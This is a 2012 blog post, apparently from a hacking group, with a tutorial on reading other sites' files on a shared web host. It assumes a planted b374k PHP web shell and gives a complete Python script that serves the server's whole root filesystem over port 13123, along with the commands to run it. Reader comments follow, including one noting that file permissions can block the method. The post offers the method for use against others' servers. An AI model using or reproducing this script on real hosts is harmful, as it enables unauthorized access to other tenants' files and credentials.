May 22, 2012

4
Server Bypass via Symlink - Jumping in server Part 1

As we all know, symlinking it's on of greates methods for bypassing server security, mean to read files of other site in same shared host.
For getting success with this tutorial are required the following things:

  • Python Installed on Server
  • b374k.php shell
  • And some scripts u will see below.
This idea have start from devilzc0de geeks and let me explain how it work.


here we are in folder /var/www/dono and trying to go into /www/
no permissions to go into /www .
before we got tired by trying the commands u must check if if python it's installed with command :
python -h
Now take this python script and name it as webs.py , It's a little python script who will open a new port on server SimpleHTTPServer ( python ) module. Default port from script it's 13123 .
#!/usr/bin/env python
# devilzc0de.org (c) 2012
import SimpleHTTPServer
import SocketServer
import os

port = 13123
if __name__=='__main__':
        os.chdir('/')
        Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

        httpd = SocketServer.TCPServer(("", port), Handler)

        print("Now open this server on webbrowser at port : " + str(port))
        print("example: http://maho.com:" + str(port))
        httpd.serve_forever()
http://pastebin.com/PddvszKC 


Next u wil need to run the webs.py script by following command
python webs.py

 open the site with port 13123
site.com:13123



And enjoy the symilinking, in next post i will show u how to do this in another way :)

4 comments:

Anonymous said...

i dont understand a Shit

FlashcRew said...

Explain me what u are not understanding ?

Anonymous said...

Good article, however as far as i know this wont work if the user dont have permission to access/read other users directories or files. For example if the file /home/some_user/public_html/configuration.php have the "right" permission then you will most certainly get a 'Permission denied error'.

Anonymous said...

Nice dude.. thanks for dee info's


#Str4what RED

Post a Comment

 
FlashcRew Blog